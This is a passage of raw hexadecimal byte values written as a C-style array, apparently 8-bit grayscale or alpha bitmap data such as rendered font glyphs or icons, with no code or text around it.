0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xEE, 0xAA, 0x45,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x55, 0x02,
0x00, 0x00, 0x00, 0x6C, 0xDB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x26, 0x00, 0x00,
0x00, 0x00, 0x1F, 0x74, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x29, 0xA2, 0xFC, 0xFF, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x22, 0x9A, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x3E, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4F, 0xFF, 0xEA, 0x9B, 0x49, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF,
0xFF, 0xFF, 0xFF, 0xF0, 0x99, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF2, 0x76, 0x06, 0x00, 0x00, 0x00, 0x25, 0x74, 0xBE, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xDB, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x89, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0x47,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x7C, 0xF5, 0xFF, 0xF8, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xAD, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x87, 0x63, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xF7, 0xFF, 0xF2, 0x97, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCB, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAE, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x20, 0x7E, 0xDF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0x71, 0x03, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0xDC, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xCF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x63, 0xEC, 0xFF, 0xFF,
0xFF, 0xF6, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xA3, 0xFF, 0xFF, 0xAA, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xDD, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2F, 0x69, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x71, 0xFF, 0xF2, 0x93, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x98, 0xFF, 0xFF, 0xF2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xF7, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xF9, 0xFF, 0xFF, 0x33, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xFF, 0xFF, 0xFA, 0x06, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xCE, 0x00,
0x00, 0x00, 0x47, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0x9C,
0x00, 0x00, 0x5C, 0xFB, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF,
0x69, 0x00, 0x0A, 0xFC, 0xFF, 0xF9, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF,
0xFF, 0x37, 0x00, 0x00, 0xBB, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xFD,
0xFF, 0xFB, 0x09, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xE6, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x00, 0x09, 0xF2, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00,
0x62, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xBC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x90, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFA, 0x10, 0x00, 0x00,
0x00, 0x00, 0xBD, 0xFF, 0xFF, 0x62, 0x47, 0x66, 0x85, 0xA5, 0xCE, 0xFF, 0xFF, 0xFF, 0x59, 0x00,
0x53, 0xBF, 0xD9, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7,
0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF0, 0x05, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0xC7, 0xA1, 0x7B, 0x55, 0x3B, 0xFD,
0xFF, 0xFF, 0x44, 0x00, 0xBE, 0xAB, 0x85, 0x5F, 0x39, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCA, 0xFF, 0xFF, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x89, 0xFF, 0xDE, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x38, 0x79, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C,
0x6E, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xFF, 0xF9, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xFF, 0xFF, 0xFF, 0x48, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xFF, 0xFF, 0xFF, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x49, 0xFF, 0xFF, 0xEE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69,
0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0x8B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0x58, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00,
0x00, 0x26, 0xFB, 0xFA, 0x46, 0x0E, 0xFD, 0xFF, 0xFF, 0x1C, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF,
0xFF, 0xF4, 0x7B, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xAA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x54,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x13, 0xE5, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0xEB, 0xFF, 0xFF, 0xFF, 0xFC, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x51, 0xB7, 0xFF, 0xFF, 0xA7,
0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xDA, 0x02, 0x1A, 0xED, 0xFF, 0x38, 0x00, 0x00, 0x00,
0x28, 0xF7, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x57, 0xC9, 0x00, 0x00, 0x00, 0x07, 0xD0, 0xFF, 0xFF,
0xEC, 0x09, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0xDB, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1B, 0xEC, 0xFF, 0xFF, 0xF8, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF,
0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xCA, 0xFF, 0xA9, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xC7, 0x0E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60,
0x60, 0x60, 0x4B, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x1B, 0xEA, 0xF0, 0xF0, 0xF5, 0xFF, 0xFF, 0xFC, 0xF0, 0xF0,
0xF0, 0xF0, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x55, 0x55, 0x55, 0x55, 0x9A, 0xFF, 0xFF, 0xD5, 0x55, 0x55,
0x55, 0x55, 0x55, 0x55, 0x2C, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x69, 0xFB, 0xFB, 0xFB, 0xFB, 0xFD, 0xFF, 0xFF, 0xFE, 0xFB, 0xFB,
0xFB, 0xFB, 0xFB, 0xFB, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xC0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xE8, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0x9F, 0x56,
0x51, 0x51, 0x51, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x61, 0xD0, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xC0, 0xF5, 0x34, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0x5D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0x87,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xFF, 0xFF,
0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFF,
0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xBC, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xF8, 0xFF, 0xFC, 0x06, 0x00, 0x00, 0x3B, 0xBC, 0xFF, 0xFF, 0xFA, 0x2C, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD5, 0xFF, 0xFF, 0x2C, 0x3A, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00,
0x00, 0x00, 0xAF, 0xFF, 0xFF, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD1, 0x00, 0x00,
0x00, 0x00, 0x08, 0xB0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0xF7, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x1D, 0x87, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xA5, 0x30, 0x06, 0xF4, 0xFF, 0xFF, 0x28,
0x2D, 0xAD, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE5, 0x1E, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xD3,
0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF,
0x7E, 0x00, 0x3F, 0xFF, 0xFF, 0xF4, 0x96, 0x29, 0xF5, 0xFF, 0xFF, 0x13, 0x00, 0x11, 0xF5, 0xFF,
0xFF, 0x28, 0x00, 0x11, 0xDA, 0x74, 0x10, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0x38, 0x00, 0x72, 0xFF,
0xFF, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0x5E, 0x01, 0xDD,
0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0x83, 0x01,
0xC1, 0xFF, 0xEA, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xA9,
0x00, 0x0D, 0xCA, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF,
0xCF, 0x00, 0x00, 0x0F, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xFF,
0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
0xFE, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xE5, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC3, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xD5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xF8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xF6, 0xFF, 0xE1, 0x25, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x49, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x3C,
0x51, 0x66, 0x6C, 0x4C, 0x28, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x8B, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0xDF, 0xB8, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x25, 0xA6, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xB7, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xF6, 0xFF, 0xFF,
0xFE, 0xC0, 0x7B, 0x38, 0x15, 0x03, 0x00, 0x0F, 0x31, 0x54, 0x86, 0xF0, 0xFF, 0xFF, 0xFC, 0x93,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFE, 0xFF, 0xFF, 0xB4, 0x31, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x87, 0xF5, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00,
0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFB, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xF1, 0xFF, 0xFA, 0x36, 0x00, 0x00, 0x00, 0x36, 0xF9, 0xFF,
0xFC, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x65, 0x98, 0x7F, 0x3C, 0x00, 0x00, 0x0F, 0x12,
0x0E, 0x00, 0x53, 0xFF, 0xFF, 0xDE, 0x0B, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00,
0x00, 0x05, 0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x0C, 0xF9, 0xFF, 0xE3, 0x00, 0x00, 0x92,
0xFF, 0xFF, 0x46, 0x00, 0x4F, 0xFF, 0xFF, 0xE6, 0x0E, 0x00, 0x00, 0x00, 0x12, 0xC0, 0xFF, 0xFF,
0xFD, 0xC4, 0xA0, 0xEF, 0xFF, 0xAB, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x3A, 0xFF, 0xFF, 0x77, 0x00,
0xB3, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5, 0x39, 0x00, 0x00, 0x26,
0xFC, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x0B, 0xFD, 0xFF, 0xA9, 0x07, 0xF5, 0xFF, 0xE9, 0x00,
0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xF8,
0x0C, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xDA, 0x3B, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0xD3,
0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00,
0xCE, 0xFF, 0xE1, 0x55, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x15, 0xFF, 0xFF, 0xFF, 0x3D, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0xB9, 0x6B,
0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0xEE, 0xFF, 0xFF, 0x1C, 0x00, 0x00, 0x00, 0x16, 0xFF, 0xFF, 0x90, 0x6D, 0xFF, 0xFF, 0x59, 0x00,
0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xCE, 0x00,
0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0x64, 0x43, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x6A, 0xFF,
0xFF, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x01, 0xC1, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x10, 0xF0,
0xFF, 0xE4, 0x0B, 0x16, 0xFF, 0xFF, 0xB0, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x2C, 0x00,
0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x10, 0xC4, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0xE9, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x10, 0xEE, 0xFF, 0xFF, 0xAE, 0x0E, 0x1E, 0x77, 0xFC, 0xFB,
0xFF, 0xFF, 0xC8, 0x47, 0x66, 0xD3, 0xFF, 0xFF, 0xC2, 0x01, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0x53,
0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x7A, 0xB0, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xB0, 0x0B, 0x00, 0x00, 0x00, 0x34, 0xFD, 0xFF, 0xE7, 0x11, 0x00, 0x00, 0x01,
0x75, 0xFB, 0xFF, 0xFF, 0xFF, 0xD6, 0x66, 0x00, 0x3A, 0xE0, 0xFF, 0xFF, 0xFF, 0xEB, 0x83, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x15, 0x48, 0x54,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x01, 0x3F, 0x58, 0x2D, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x11, 0xEB, 0xFF, 0xFF, 0x83, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x7A, 0xAD, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFA,
0xFF, 0xFF, 0xB0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
0x65, 0xE5, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xF4, 0xFF, 0xFF, 0xFA,
0x9D, 0x45, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x67, 0xD7, 0xFF, 0xFF, 0xFF, 0xDA,
0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xC2, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xCE,
0xB9, 0xB0, 0xAD, 0xC1, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x79, 0x06, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xBE, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
